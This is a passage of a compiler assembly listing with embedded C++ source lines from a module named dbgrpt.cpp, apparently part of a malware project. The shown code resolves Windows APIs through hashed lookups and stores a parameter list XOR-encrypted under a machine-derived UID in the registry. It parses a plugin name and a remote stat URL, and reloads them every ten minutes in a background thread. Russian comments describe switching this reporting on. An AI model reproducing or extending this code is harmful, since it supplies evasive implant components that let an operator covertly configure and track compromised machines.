??_C@_00CNPNBAHC@?$AA@ 0000b 8d 4d f0 lea ecx, DWORD PTR $T92878[ebp] 0000e e8 00 00 00 00 call ??0?$TString@D@@QAE@PBD@Z ; TString::TString 00013 8d 45 f0 lea eax, DWORD PTR $T92878[ebp] 00016 50 push eax 00017 8d 45 f8 lea eax, DWORD PTR _Uid$[ebp] 0001a 50 push eax 0001b e8 00 00 00 00 call ?GenerateUidAsString@@YA?AV?$TString@D@@ABV1@@Z ; GenerateUidAsString 00020 59 pop ecx 00021 59 pop ecx 00022 8d 4d f0 lea ecx, DWORD PTR $T92878[ebp] 00025 e8 00 00 00 00 call ??1?$TString@D@@UAE@XZ ; TString::~TString ; 153 : string ValueName(Uid.t_str(), Uid.Length() - 5); 0002a ff 75 fc push DWORD PTR _Uid$[ebp+4] 0002d e8 00 00 00 00 call ??$Length@D@STRBUF@@YAKPAD@Z ; STRBUF::Length 00032 83 7d fc 00 cmp DWORD PTR _Uid$[ebp+4], 0 00036 59 pop ecx 00037 8b 4d fc mov ecx, DWORD PTR _Uid$[ebp+4] 0003a 75 05 jne SHORT $LN8@GetValueNa 0003c b9 00 00 00 00 mov ecx, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@ $LN8@GetValueNa: 00041 83 c0 fb add eax, -5 ; fffffffbH 00044 50 push eax 00045 51 push ecx 00046 8b 4d 08 mov ecx, DWORD PTR ___$ReturnUdt$[ebp] 00049 e8 00 00 00 00 call ??0?$TString@D@@QAE@PBDK@Z ; TString::TString ; 154 : ; 155 : ValueName += Suffix; 0004e ff 75 0c push DWORD PTR _Suffix$[ebp] 00051 8b 4d 08 mov ecx, DWORD PTR ___$ReturnUdt$[ebp] 00054 e8 00 00 00 00 call ??Y?$TString@D@@QAEAAV0@ABV0@@Z ; TString::operator+= ; 156 : ; 157 : DBGRPTDBG("GetValueName", "returning value_name='%s'", ValueName.t_str()); ; 158 : ; 159 : return ValueName; 00059 8d 4d f8 lea ecx, DWORD PTR _Uid$[ebp] 0005c e8 00 00 00 00 call ??1?$TString@D@@UAE@XZ ; TString::~TString 00061 8b 45 08 mov eax, DWORD PTR ___$ReturnUdt$[ebp] ; 160 : } 00064 c9 leave 00065 c3 ret 0 ?GetValueName@@YA?AV?$TString@D@@ABV1@@Z ENDP ; GetValueName _TEXT ENDS PUBLIC ??_C@_02DAMOAIFE@PL?$AA@ ; `string' PUBLIC ?DebugReportLoadParamList@@YA_NPAV?$TString@D@@@Z ; DebugReportLoadParamList EXTRN ?Crypt@XORCrypt@@YAKPADPAEK@Z:PROC ; XORCrypt::Crypt ; COMDAT ??_C@_02DAMOAIFE@PL?$AA@ ; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h CONST SEGMENT ??_C@_02DAMOAIFE@PL?$AA@ DB 'PL', 00H ; `string' ; Function compile flags: /Ogspy ; File e:\projects\progs\petrosjan\bjwj\source\common\dbgrpt.cpp CONST ENDS ; COMDAT ?DebugReportLoadParamList@@YA_NPAV?$TString@D@@@Z _TEXT SEGMENT _Buffer$ = -1048 ; size = 1024 _ValueType$ = -24 ; size = 4 $T92898 = -20 ; size = 8 $T92897 = -20 ; size = 8 $T92895 = -20 ; size = 8 $T92896 = -12 ; size = 8 $T92894 = -12 ; size = 8 _ValueLength$ = -4 ; size = 4 _ParamList$ = 8 ; size = 4 ?DebugReportLoadParamList@@YA_NPAV?$TString@D@@@Z PROC ; DebugReportLoadParamList, COMDAT ; 165 : { 00000 55 push ebp 00001 8b ec mov ebp, esp 00003 81 ec 18 04 00 00 sub esp, 1048 ; 00000418H 00009 56 push esi ; 166 : HKEY key = CreateSettingKey(); 0000a e8 00 00 00 00 call ?CreateSettingKey@@YAPAUHKEY__@@XZ ; CreateSettingKey 0000f 8b f0 mov esi, eax ; 167 : ; 168 : DBGRPTDBG("DebugReportLoadParamList", "CreateSettingKey() result=0x%X", key); ; 169 : if (key == NULL) return false; 00011 85 f6 test esi, esi 00013 75 07 jne SHORT $LN3@DebugRepor@2 $LN12@DebugRepor@2: 00015 32 c0 xor al, al 00017 e9 f7 00 00 00 jmp $LN4@DebugRepor@2 $LN3@DebugRepor@2: ; 170 : ; 171 : BYTE Buffer[1024]; ; 172 : DWORD ValueLength = sizeof(Buffer) - 1; ; 173 : DWORD ValueType = 0; 0001c 83 65 e8 00 and DWORD PTR _ValueType$[ebp], 0 00020 53 push ebx ; 174 : ; 175 : m_memset(Buffer, 0, sizeof(Buffer)); 00021 68 00 04 00 00 push 1024 ; 00000400H 00026 8d 85 e8 fb ff ff lea eax, DWORD PTR _Buffer$[ebp] 0002c 6a 00 push 0 0002e 50 push eax 0002f c7 45 fc ff 03 00 00 mov DWORD PTR _ValueLength$[ebp], 1023 ; 000003ffH 00036 e8 00 00 00 00 call ?m_memset@@YAXPBXEI@Z ; m_memset 0003b 83 c4 0c add esp, 12 ; 0000000cH ; 176 : ; 177 : DWORD query_value_result = (DWORD)pRegQueryValueExA(key, GetValueName("PL").t_str(), 0, ; 178 : &ValueType, Buffer, &ValueLength); 0003e 68 00 00 00 00 push OFFSET ??_C@_02DAMOAIFE@PL?$AA@ 00043 8d 4d f4 lea ecx, DWORD PTR $T92894[ebp] 00046 e8 00 00 00 00 call ??0?$TString@D@@QAE@PBD@Z ; TString::TString 0004b 8d 45 fc lea eax, DWORD PTR _ValueLength$[ebp] 0004e 50 push eax 0004f 8d 85 e8 fb ff ff lea eax, DWORD PTR _Buffer$[ebp] 00055 50 push eax 00056 8d 45 e8 lea eax, DWORD PTR _ValueType$[ebp] 00059 50 push eax 0005a 6a 00 push 0 0005c 8d 45 f4 lea eax, DWORD PTR $T92894[ebp] 0005f 50 push eax 00060 8d 45 ec lea eax, DWORD PTR $T92895[ebp] 00063 50 push eax 00064 e8 00 00 00 00 call ?GetValueName@@YA?AV?$TString@D@@ABV1@@Z ; GetValueName 00069 59 pop ecx 0006a 59 pop ecx 0006b 8b c8 mov ecx, eax 0006d e8 00 00 00 00 call ?t_str@?$TString@D@@QBEPADXZ ; TString::t_str 00072 50 push eax 00073 56 push esi 00074 e8 00 00 00 00 call ??$pushargEx@$01$0BIACOHMI@$0NG@PAUHKEY__@@PADHPAKPAEPAK@@YAPAXPAUHKEY__@@PADHPAKPAE2@Z ; pushargEx<2,402843592,214,HKEY__ *,char *,int,unsigned long *,unsigned char *,unsigned long *> 00079 83 c4 18 add esp, 24 ; 00000018H 0007c 8d 4d ec lea ecx, DWORD PTR $T92895[ebp] 0007f 8b d8 mov ebx, eax 00081 e8 00 00 00 00 call ??1?$TString@D@@UAE@XZ ; TString::~TString 00086 8d 4d f4 lea ecx, DWORD PTR $T92894[ebp] 00089 e8 00 00 00 00 call ??1?$TString@D@@UAE@XZ ; TString::~TString ; 179 : pRegCloseKey(key); 0008e 56 push esi 0008f e8 00 00 00 00 call ??$pushargEx@$01$0NLDFFFDE@$0NI@PAUHKEY__@@@@YAPAXPAUHKEY__@@@Z ; pushargEx<2,3677705524,216,HKEY__ *> 00094 59 pop ecx ; 180 : ; 181 : DBGRPTDBG("DebugReportLoadParamList", "RegQueryValueEx() result=%u ValueType=%d", ; 182 : query_value_result, ValueType); ; 183 : ; 184 : if (query_value_result != ERROR_SUCCESS) return false; 00095 85 db test ebx, ebx 00097 5b pop ebx 00098 0f 85 77 ff ff ff jne $LN12@DebugRepor@2 ; 185 : if (ValueType != REG_BINARY) return false; 0009e 83 7d e8 03 cmp DWORD PTR _ValueType$[ebp], 3 000a2 0f 85 6d ff ff ff jne $LN12@DebugRepor@2 ; 186 : ; 187 : ; 188 : XORCrypt::Crypt(GenerateUidAsString("").t_str(), Buffer, ValueLength); 000a8 68 00 00 00 00 push OFFSET ??_C@_00CNPNBAHC@?$AA@ 000ad 8d 4d f4 lea ecx, DWORD PTR $T92896[ebp] 000b0 e8 00 00 00 00 call ??0?$TString@D@@QAE@PBD@Z ; TString::TString 000b5 ff 75 fc push DWORD PTR _ValueLength$[ebp] 000b8 8d 85 e8 fb ff ff lea eax, DWORD PTR _Buffer$[ebp] 000be 50 push eax 000bf 8d 45 f4 lea eax, DWORD PTR $T92896[ebp] 000c2 50 push eax 000c3 8d 45 ec lea eax, DWORD PTR $T92897[ebp] 000c6 50 push eax 000c7 e8 00 00 00 00 call ?GenerateUidAsString@@YA?AV?$TString@D@@ABV1@@Z ; GenerateUidAsString 000cc 59 pop ecx 000cd 59 pop ecx 000ce 8b c8 mov ecx, eax 000d0 e8 00 00 00 00 call ?t_str@?$TString@D@@QBEPADXZ ; TString::t_str 000d5 50 push eax 000d6 e8 00 00 00 00 call ?Crypt@XORCrypt@@YAKPADPAEK@Z ; XORCrypt::Crypt 000db 83 c4 0c add esp, 12 ; 0000000cH 000de 8d 4d ec lea ecx, DWORD PTR $T92897[ebp] 000e1 e8 00 00 00 00 call ??1?$TString@D@@UAE@XZ ; TString::~TString 000e6 8d 4d f4 lea ecx, DWORD PTR $T92896[ebp] 000e9 e8 00 00 00 00 call ??1?$TString@D@@UAE@XZ ; TString::~TString ; 189 : *ParamList = string((const char*)Buffer, ValueLength); 000ee ff 75 fc push DWORD PTR _ValueLength$[ebp] 000f1 8d 85 e8 fb ff ff lea eax, DWORD PTR _Buffer$[ebp] 000f7 50 push eax 000f8 8d 4d ec lea ecx, DWORD PTR $T92898[ebp] 000fb e8 00 00 00 00 call ??0?$TString@D@@QAE@PBDK@Z ; TString::TString 00100 8b 4d 08 mov ecx, DWORD PTR _ParamList$[ebp] 00103 50 push eax 00104 e8 00 00 00 00 call ??4?$TString@D@@QAEAAV0@ABV0@@Z ; TString::operator= 00109 8d 4d ec lea ecx, DWORD PTR $T92898[ebp] 0010c e8 00 00 00 00 call ??1?$TString@D@@UAE@XZ ; TString::~TString ; 190 : ; 191 : DBGRPTDBG("DebugReportLoadParamList", "Finished.(param_list='%s')", ; 192 : (*ParamList).t_str()); ; 193 : ; 194 : return true; 00111 b0 01 mov al, 1 $LN4@DebugRepor@2: 00113 5e pop esi ; 195 : } 00114 c9 leave 00115 c3 ret 0 ?DebugReportLoadParamList@@YA_NPAV?$TString@D@@@Z ENDP ; DebugReportLoadParamList _TEXT ENDS PUBLIC ?DebugReportSaveParamList@@YA_NABV?$TString@D@@@Z ; DebugReportSaveParamList ; Function compile flags: /Ogspy ; COMDAT ?DebugReportSaveParamList@@YA_NABV?$TString@D@@@Z _TEXT SEGMENT $T92913 = -24 ; size = 8 $T92911 = -24 ; size = 8 _EncodedString$ = -16 ; size = 8 $T92912 = -8 ; size = 8 $T92910 = -8 ; size = 8 _ParamList$ = 8 ; size = 4 ?DebugReportSaveParamList@@YA_NABV?$TString@D@@@Z PROC ; DebugReportSaveParamList, COMDAT ; 200 : { 00000 55 push ebp 00001 8b ec mov ebp, esp 00003 83 ec 18 sub esp, 24 ; 00000018H 00006 53 push ebx ; 201 : HKEY key = CreateSettingKey(); 00007 e8 00 00 00 00 call ?CreateSettingKey@@YAPAUHKEY__@@XZ ; CreateSettingKey 0000c 8b d8 mov ebx, eax ; 202 : ; 203 : DBGRPTDBG("DebugReportSaveParamList", "CreateSettingKey() result=0x%X", key); ; 204 : if (key == NULL) return false; 0000e 85 db test ebx, ebx 00010 75 05 jne SHORT $LN2@DebugRepor@3 00012 32 c0 xor al, al $LN3@DebugRepor@3: 00014 5b pop ebx ; 216 : ; 217 : return true; ; 218 : } 00015 c9 leave 00016 c3 ret 0 $LN2@DebugRepor@3: 00017 56 push esi 00018 57 push edi ; 205 : ; 206 : string EncodedString = ParamList; 00019 ff 75 08 push DWORD PTR _ParamList$[ebp] 0001c 8d 4d f0 lea ecx, DWORD PTR _EncodedString$[ebp] 0001f e8 00 00 00 00 call ??0?$TString@D@@QAE@ABV0@@Z ; TString::TString ; 207 : XORCrypt::Crypt(GenerateUidAsString("").t_str(), (LPBYTE)EncodedString.t_str(), EncodedString.Length()+1); 00024 68 00 00 00 00 push OFFSET ??_C@_00CNPNBAHC@?$AA@ 00029 8d 4d f8 lea ecx, DWORD PTR $T92910[ebp] 0002c e8 00 00 00 00 call ??0?$TString@D@@QAE@PBD@Z ; TString::TString 00031 8b 75 f4 mov esi, DWORD PTR _EncodedString$[ebp+4] 00034 56 push esi 00035 e8 00 00 00 00 call ??$Length@D@STRBUF@@YAKPAD@Z ; STRBUF::Length 0003a 59 pop ecx 0003b bf 00 00 00 00 mov edi, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@ 00040 8b ce mov ecx, esi 00042 85 f6 test esi, esi 00044 75 02 jne SHORT $LN12@DebugRepor@3 00046 8b cf mov ecx, edi $LN12@DebugRepor@3: 00048 40 inc eax 00049 50 push eax 0004a 51 push ecx 0004b 8d 45 f8 lea eax, DWORD PTR $T92910[ebp] 0004e 50 push eax 0004f 8d 45 e8 lea eax, DWORD PTR $T92911[ebp] 00052 50 push eax 00053 e8 00 00 00 00 call ?GenerateUidAsString@@YA?AV?$TString@D@@ABV1@@Z ; GenerateUidAsString 00058 59 pop ecx 00059 59 pop ecx 0005a 8b c8 mov ecx, eax 0005c e8 00 00 00 00 call ?t_str@?$TString@D@@QBEPADXZ ; TString::t_str 00061 50 push eax 00062 e8 00 00 00 00 call ?Crypt@XORCrypt@@YAKPADPAEK@Z ; XORCrypt::Crypt 00067 83 c4 0c add esp, 12 ; 0000000cH 0006a 8d 4d e8 lea ecx, DWORD PTR $T92911[ebp] 0006d e8 00 00 00 00 call ??1?$TString@D@@UAE@XZ ; TString::~TString 00072 8d 4d f8 lea ecx, DWORD PTR $T92910[ebp] 00075 e8 00 00 00 00 call ??1?$TString@D@@UAE@XZ ; TString::~TString ; 208 : ; 209 : DWORD set_value_result = (DWORD)pRegSetValueExA(key, GetValueName("PL").t_str(), 0, REG_BINARY, ; 210 : (const BYTE*)EncodedString.t_str(), ; 211 : EncodedString.Length()+1); 0007a 68 00 00 00 00 push OFFSET ??_C@_02DAMOAIFE@PL?$AA@ 0007f 8d 4d f8 lea ecx, DWORD PTR $T92912[ebp] 00082 e8 00 00 00 00 call ??0?$TString@D@@QAE@PBD@Z ; TString::TString 00087 56 push esi 00088 e8 00 00 00 00 call ??$Length@D@STRBUF@@YAKPAD@Z ; STRBUF::Length 0008d 59 pop ecx 0008e 85 f6 test esi, esi 00090 75 02 jne SHORT $LN18@DebugRepor@3 00092 8b f7 mov esi, edi $LN18@DebugRepor@3: 00094 40 inc eax 00095 50 push eax 00096 56 push esi 00097 6a 03 push 3 00099 6a 00 push 0 0009b 8d 45 f8 lea eax, DWORD PTR $T92912[ebp] 0009e 50 push eax 0009f 8d 45 e8 lea eax, DWORD PTR $T92913[ebp] 000a2 50 push eax 000a3 e8 00 00 00 00 call ?GetValueName@@YA?AV?$TString@D@@ABV1@@Z ; GetValueName 000a8 59 pop ecx 000a9 59 pop ecx 000aa 8b c8 mov ecx, eax 000ac e8 00 00 00 00 call ?t_str@?$TString@D@@QBEPADXZ ; TString::t_str 000b1 50 push eax 000b2 53 push ebx 000b3 e8 00 00 00 00 call ??$pushargEx@$01$0DOEAAPNG@$0NL@PAUHKEY__@@PADHHPBEK@@YAPAXPAUHKEY__@@PADHHPBEK@Z ; pushargEx<2,1044385750,219,HKEY__ *,char *,int,int,unsigned char const *,unsigned long> 000b8 83 c4 18 add esp, 24 ; 00000018H 000bb 8d 4d e8 lea ecx, DWORD PTR $T92913[ebp] 000be 8b f0 mov esi, eax 000c0 e8 00 00 00 00 call ??1?$TString@D@@UAE@XZ ; TString::~TString 000c5 8d 4d f8 lea ecx, DWORD PTR $T92912[ebp] 000c8 e8 00 00 00 00 call ??1?$TString@D@@UAE@XZ ; TString::~TString ; 212 : pRegCloseKey(key); 000cd 53 push ebx 000ce e8 00 00 00 00 call ??$pushargEx@$01$0NLDFFFDE@$0NI@PAUHKEY__@@@@YAPAXPAUHKEY__@@@Z ; pushargEx<2,3677705524,216,HKEY__ *> 000d3 59 pop ecx 000d4 5f pop edi ; 213 : ; 214 : DBGRPTDBG("DebugReportSaveParamList", "RegSetValueEx() result=%u", set_value_result); ; 215 : if (set_value_result != ERROR_SUCCESS) return false; 000d5 85 f6 test esi, esi 000d7 5e pop esi 000d8 74 11 je SHORT $LN1@DebugRepor@3 000da 32 db xor bl, bl $LN21@DebugRepor@3: 000dc 8d 4d f0 lea ecx, DWORD PTR _EncodedString$[ebp] 000df e8 00 00 00 00 call ??1?$TString@D@@UAE@XZ ; TString::~TString 000e4 8a c3 mov al, bl 000e6 e9 29 ff ff ff jmp $LN3@DebugRepor@3 $LN1@DebugRepor@3: 000eb b3 01 mov bl, 1 000ed eb ed jmp SHORT $LN21@DebugRepor@3 ?DebugReportSaveParamList@@YA_NABV?$TString@D@@@Z ENDP ; DebugReportSaveParamList _TEXT ENDS PUBLIC ??_C@_01OGPIMHDM@?$DP?$AA@ ; `string' PUBLIC ?DebugReportLoadSettings@@YAXXZ ; DebugReportLoadSettings EXTRN ?GetCommandParamByIndex@@YA?AV?$TString@D@@PBDK@Z:PROC ; GetCommandParamByIndex _BSS SEGMENT _DbgRptCs DB 018H DUP (?) _BSS ENDS ; COMDAT ??_C@_01OGPIMHDM@?$DP?$AA@ ; File e:\projects\progs\petrosjan\bjwj\source\core\strimplementation.cpp CONST SEGMENT ??_C@_01OGPIMHDM@?$DP?$AA@ DB '?', 00H ; `string' ; Function compile flags: /Ogspy ; File e:\projects\progs\petrosjan\bjwj\source\common\dbgrpt.cpp CONST ENDS ; COMDAT ?DebugReportLoadSettings@@YAXXZ _TEXT SEGMENT _PlugName$ = -32 ; size = 8 _StatPrefix$ = -24 ; size = 8 _ParamList$ = -16 ; size = 8 _StatUrl$ = -8 ; size = 8 ?DebugReportLoadSettings@@YAXXZ PROC ; DebugReportLoadSettings, COMDAT ; 223 : { 00000 55 push ebp 00001 8b ec mov ebp, esp 00003 83 ec 20 sub esp, 32 ; 00000020H 00006 53 push ebx 00007 56 push esi ; 224 : string ParamList; ; 225 : bool ParamListLoaded = DebugReportLoadParamList(&ParamList); 00008 8d 45 f0 lea eax, DWORD PTR _ParamList$[ebp] 0000b 57 push edi 0000c 33 db xor ebx, ebx 0000e 50 push eax 0000f c7 45 f0 00 00 00 00 mov DWORD PTR _ParamList$[ebp], OFFSET ??_7?$TString@D@@6B@ 00016 89 5d f4 mov DWORD PTR _ParamList$[ebp+4], ebx 00019 e8 00 00 00 00 call ?DebugReportLoadParamList@@YA_NPAV?$TString@D@@@Z ; DebugReportLoadParamList ; 226 : ; 227 : DBGRPTDBG("DebugReportLoadSettings", "DebugReportLoadParamList() result=%d (ParamList='%s').", ; 228 : ParamListLoaded, ParamList.t_str()); 0001e 8b 75 f4 mov esi, DWORD PTR _ParamList$[ebp+4] 00021 59 pop ecx 00022 bf 00 00 00 00 mov edi, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@ ; 229 : ; 230 : string PlugName = GetCommandParamByIndex(ParamList.t_str(), 0); 00027 8b c6 mov eax, esi 00029 3b f3 cmp esi, ebx 0002b 75 02 jne SHORT $LN18@DebugRepor@4 0002d 8b c7 mov eax, edi $LN18@DebugRepor@4: 0002f 53 push ebx 00030 50 push eax 00031 8d 45 e0 lea eax, DWORD PTR _PlugName$[ebp] 00034 50 push eax 00035 e8 00 00 00 00 call ?GetCommandParamByIndex@@YA?AV?$TString@D@@PBDK@Z ; GetCommandParamByIndex 0003a 83 c4 0c add esp, 12 ; 0000000cH ; 231 : string StatPrefix = GetCommandParamByIndex(ParamList.t_str(), 1); 0003d 8b c6 mov eax, esi 0003f 3b f3 cmp esi, ebx 00041 75 02 jne SHORT $LN22@DebugRepor@4 00043 8b c7 mov eax, edi $LN22@DebugRepor@4: 00045 6a 01 push 1 00047 50 push eax 00048 8d 45 e8 lea eax, DWORD PTR _StatPrefix$[ebp] 0004b 50 push eax 0004c e8 00 00 00 00 call ?GetCommandParamByIndex@@YA?AV?$TString@D@@PBDK@Z ; GetCommandParamByIndex 00051 83 c4 0c add esp, 12 ; 0000000cH ; 232 : string StatUrl = GetCommandParamByIndex(ParamList.t_str(), 2); 00054 3b f3 cmp esi, ebx 00056 75 02 jne SHORT $LN26@DebugRepor@4 00058 8b f7 mov esi, edi $LN26@DebugRepor@4: 0005a 6a 02 push 2 0005c 8d 45 f8 lea eax, DWORD PTR _StatUrl$[ebp] 0005f 56 push esi 00060 50 push eax 00061 e8 00 00 00 00 call ?GetCommandParamByIndex@@YA?AV?$TString@D@@PBDK@Z ; GetCommandParamByIndex ; 233 : ; 234 : DBGRPTDBG("DebugReportLoadSettings", ; 235 : "Parsing arguments results: PlugName='%s' StatPrefix='%s' StatUrl='%s'", ; 236 : PlugName.t_str(), StatPrefix.t_str(), StatUrl.t_str() ; 237 : ); ; 238 : ; 239 : ; 240 : DebugReportSettings* NewSettings = CreateStruct(DebugReportSettings); 00066 6a 0c push 12 ; 0000000cH 00068 e8 00 00 00 00 call ?Alloc@HEAP@@YAPAXK@Z ; HEAP::Alloc ; 241 : DebugReportSettings* OldSettings = NULL; ; 242 : ; 243 : // Если хотя бы один пустой параметр - то это означает что они неверно заданы ; 244 : // и стука не включен. ; 245 : NewSettings->Enabled = (StatPrefix.Length() > 0) && (StatUrl.Length() > 0); 0006d ff 75 ec push DWORD PTR _StatPrefix$[ebp+4] 00070 8b f0 mov esi, eax 00072 e8 00 00 00 00 call ??$Length@D@STRBUF@@YAKPAD@Z ; STRBUF::Length 00077 83 c4 14 add esp, 20 ; 00000014H 0007a 85 c0 test eax, eax 0007c 76 12 jbe SHORT $LN3@DebugRepor@4 0007e ff 75 fc push DWORD PTR _StatUrl$[ebp+4] 00081 e8 00 00 00 00 call ??$Length@D@STRBUF@@YAKPAD@Z ; STRBUF::Length 00086 59 pop ecx 00087 85 c0 test eax, eax 00089 76 05 jbe SHORT $LN3@DebugRepor@4 0008b 33 c0 xor eax, eax 0008d 40 inc eax 0008e eb 02 jmp SHORT $LN4@DebugRepor@4 $LN3@DebugRepor@4: 00090 33 c0 xor eax, eax $LN4@DebugRepor@4: ; 246 : ; 247 : // URL приходит без символа начала параметров ; 248 : // Поскольку раньше URL был с таки символом - просто добавляем его по умолчанию. ; 249 : StatUrl += "?"; 00092 68 00 00 00 00 push OFFSET ??_C@_01OGPIMHDM@?$DP?$AA@ 00097 8d 4d f8 lea ecx, DWORD PTR _StatUrl$[ebp] 0009a 88 06 mov BYTE PTR [esi], al 0009c e8 00 00 00 00 call ??Y?$TString@D@@QAEAAV0@PBD@Z ; TString::operator+= ; 250 : ; 251 : NewSettings->StatPrefix = STR::New(StatPrefix.t_str()); 000a1 8b 45 ec mov eax, DWORD PTR _StatPrefix$[ebp+4] 000a4 3b c3 cmp eax, ebx 000a6 75 02 jne SHORT $LN48@DebugRepor@4 000a8 8b c7 mov eax, edi $LN48@DebugRepor@4: 000aa 53 push ebx 000ab 50 push eax 000ac e8 00 00 00 00 call ?New@STR@@YAPADPADK@Z ; STR::New 000b1 59 pop ecx 000b2 89 46 04 mov DWORD PTR [esi+4], eax 000b5 59 pop ecx ; 252 : NewSettings->StatUrl = STR::New(StatUrl.t_str()); 000b6 39 5d fc cmp DWORD PTR _StatUrl$[ebp+4], ebx 000b9 74 03 je SHORT $LN51@DebugRepor@4 000bb 8b 7d fc mov edi, DWORD PTR _StatUrl$[ebp+4] $LN51@DebugRepor@4: 000be 53 push ebx 000bf 57 push edi 000c0 e8 00 00 00 00 call ?New@STR@@YAPADPADK@Z ; STR::New ; 253 : ; 254 : // При замене необходимо защитить DbgRptSettings, потому что его могут читать где-то ; 255 : pEnterCriticalSection(&DbgRptCs); 000c5 bf 00 00 00 00 mov edi, OFFSET _DbgRptCs 000ca 57 push edi 000cb 89 46 08 mov DWORD PTR [esi+8], eax 000ce e8 00 00 00 00 call ??$pushargEx@$00$0PDLIEPAF@$0JA@PAU_RTL_CRITICAL_SECTION@@@@YAPAXPAU_RTL_CRITICAL_SECTION@@@Z ; pushargEx<1,4088942341,144,_RTL_CRITICAL_SECTION *> ; 256 : ; 257 : OldSettings = DbgRptSettings; 000d3 8b 1d 00 00 00 00 mov ebx, DWORD PTR _DbgRptSettings ; 258 : DbgRptSettings = NewSettings; ; 259 : ; 260 : pLeaveCriticalSection(&DbgRptCs); 000d9 57 push edi 000da 89 35 00 00 00 00 mov DWORD PTR _DbgRptSettings, esi 000e0 e8 00 00 00 00 call ??$pushargEx@$00$0DJCLGACH@$0JB@PAU_RTL_CRITICAL_SECTION@@@@YAPAXPAU_RTL_CRITICAL_SECTION@@@Z ; pushargEx<1,959143975,145,_RTL_CRITICAL_SECTION *> ; 261 : ; 262 : DebugReportFreeSettings(OldSettings); 000e5 53 push ebx 000e6 e8 00 00 00 00 call ?DebugReportFreeSettings@@YAXPAUDebugReportSettings@@@Z ; DebugReportFreeSettings 000eb 83 c4 14 add esp, 20 ; 00000014H ; 263 : } 000ee 8d 4d f8 lea ecx, DWORD PTR _StatUrl$[ebp] 000f1 e8 00 00 00 00 call ??1?$TString@D@@UAE@XZ ; TString::~TString 000f6 8d 4d e8 lea ecx, DWORD PTR _StatPrefix$[ebp] 000f9 e8 00 00 00 00 call ??1?$TString@D@@UAE@XZ ; TString::~TString 000fe 8d 4d e0 lea ecx, DWORD PTR _PlugName$[ebp] 00101 e8 00 00 00 00 call ??1?$TString@D@@UAE@XZ ; TString::~TString 00106 8d 4d f0 lea ecx, DWORD PTR _ParamList$[ebp] 00109 e8 00 00 00 00 call ??1?$TString@D@@UAE@XZ ; TString::~TString 0010e 5f pop edi 0010f 5e pop esi 00110 5b pop ebx 00111 c9 leave 00112 c3 ret 0 ?DebugReportLoadSettings@@YAXXZ ENDP ; DebugReportLoadSettings _TEXT ENDS PUBLIC ?DebugReportUpdateSettingsThread@@YAXPAX@Z ; DebugReportUpdateSettingsThread ; Function compile flags: /Ogspy ; COMDAT ?DebugReportUpdateSettingsThread@@YAXPAX@Z _TEXT SEGMENT _Arguments$ = 8 ; size = 4 ?DebugReportUpdateSettingsThread@@YAXPAX@Z PROC ; DebugReportUpdateSettingsThread, COMDAT ; 270 : { $LL2@DebugRepor@5: ; 271 : while (true) ; 272 : { ; 273 : DBGRPTDBG("DebugReportUpdateSettingsThread", "Sleep 10 min"); ; 274 : pSleep(10 * 60 * 1000); 00000 68 c0 27 09 00 push 600000 ; 000927c0H 00005 e8 00 00 00 00 call ??$pushargEx@$00$0DNJJHCPF@$0CP@H@@YAPAXH@Z ; pushargEx<1,1033466613,47,int> 0000a 59 pop ecx ; 275 : ; 276 : DebugReportLoadSettings(); 0000b e8 00 00 00 00 call ?DebugReportLoadSettings@@YAXXZ ; DebugReportLoadSettings ; 277 : } 00010 eb ee jmp SHORT $LL2@DebugRepor@5 ?DebugReportUpdateSettingsThread@@YAXPAX@Z ENDP ; DebugReportUpdateSettingsThread _TEXT ENDS PUBLIC ?DebugReportSaveSettings@@YAXPBD@Z ; DebugReportSaveSettings ; Function compile flags: /Ogspy ; COMDAT ?DebugReportSaveSettings@@YAXPBD@Z _TEXT SEGMENT $T93038 = -8 ; size = 8 _ParamsList$ = 8 ; size = 4 ?DebugReportSaveSettings@@YAXPBD@Z PROC ; DebugReportSaveSettings, COMDAT ; 282 : { 00000 55 push ebp 00001 8b ec mov ebp, esp 00003 51 push ecx 00004 51 push ecx ; 283 : DBGRPTDBG("DebugReportSaveSettings", "Started with ParamsList='%s'", ParamsList); ; 284 : ; 285 : // Сохраняем список параметров в реестр ; 286 : DebugReportSaveParamList(ParamsList); 00005 ff 75 08 push DWORD PTR _ParamsList$[ebp] 00008 8d 4d f8 lea ecx, DWORD PTR $T93038[ebp] 0000b e8 00 00 00 00 call ??0?$TString@D@@QAE@PBD@Z ; TString::TString 00010 8d 45 f8 lea eax, DWORD PTR $T93038[ebp] 00013 50 push eax 00014 e8 00 00 00 00 call ?DebugReportSaveParamList@@YA_NABV?$TString@D@@@Z ; DebugReportSaveParamList 00019 59 pop ecx 0001a 8d 4d f8 lea ecx, DWORD PTR $T93038[ebp] 0001d e8 00 00 00 00 call ??1?$TString@D@@UAE@XZ ; TString::~TString ; 287 : ; 288 : // Сразу же подгружаем их обратно для немедленного применения ; 289 : DebugReportLoadSettings(); 00022 e8 00 00 00 00 call ?DebugReportLoadSettings@@YAXXZ ; DebugReportLoadSettings ; 290 : } 00027 c9 leave 00028 c3 ret 0 ?DebugReportSaveSettings@@YAXPBD@Z ENDP ; DebugReportSaveSettings _TEXT ENDS PUBLIC ?DebugReportGetSettings@@YAPAUDebugReportSettings@@XZ ; DebugReportGetSettings ; Function compile flags: /Ogspy ; COMDAT ?DebugReportGetSettings@@YAPAUDebugReportSettings@@XZ _TEXT SEGMENT ?DebugReportGetSettings@@YAPAUDebugReportSettings@@XZ PROC ; DebugReportGetSettings, COMDAT ; 297 : { 00000 56 push esi 00001 57 push edi ; 298 : DebugReportSettings* result = NULL; ; 299 : ; 300 : // При чтении защищаемся от изменения текущего DbgRptSettings ; 301 : pEnterCriticalSection(&DbgRptCs); 00002 be 00 00 00 00 mov esi, OFFSET _DbgRptCs 00007 56 push esi 00008 e8 00 00 00 00 call ??$pushargEx@$00$0PDLIEPAF@$0JA@PAU_RTL_CRITICAL_SECTION@@@@YAPAXPAU_RTL_CRITICAL_SECTION@@@Z ; pushargEx<1,4088942341,144,_RTL_CRITICAL_SECTION *> ; 302 : ; 303 : if (DbgRptSettings == &DbgRptSettingDefault) 0000d a1 00 00 00 00 mov eax, DWORD PTR _DbgRptSettings 00012 59 pop ecx 00013 3d 00 00 00 00 cmp eax, OFFSET _DbgRptSettingDefault 00018 75 0a jne SHORT $LN1@DebugRepor@6 ; 304 : { ; 305 : DebugReportLoadSettings(); 0001a e8 00 00 00 00 call ?DebugReportLoadSettings@@YAXXZ ; DebugReportLoadSettings 0001f a1 00 00 00 00 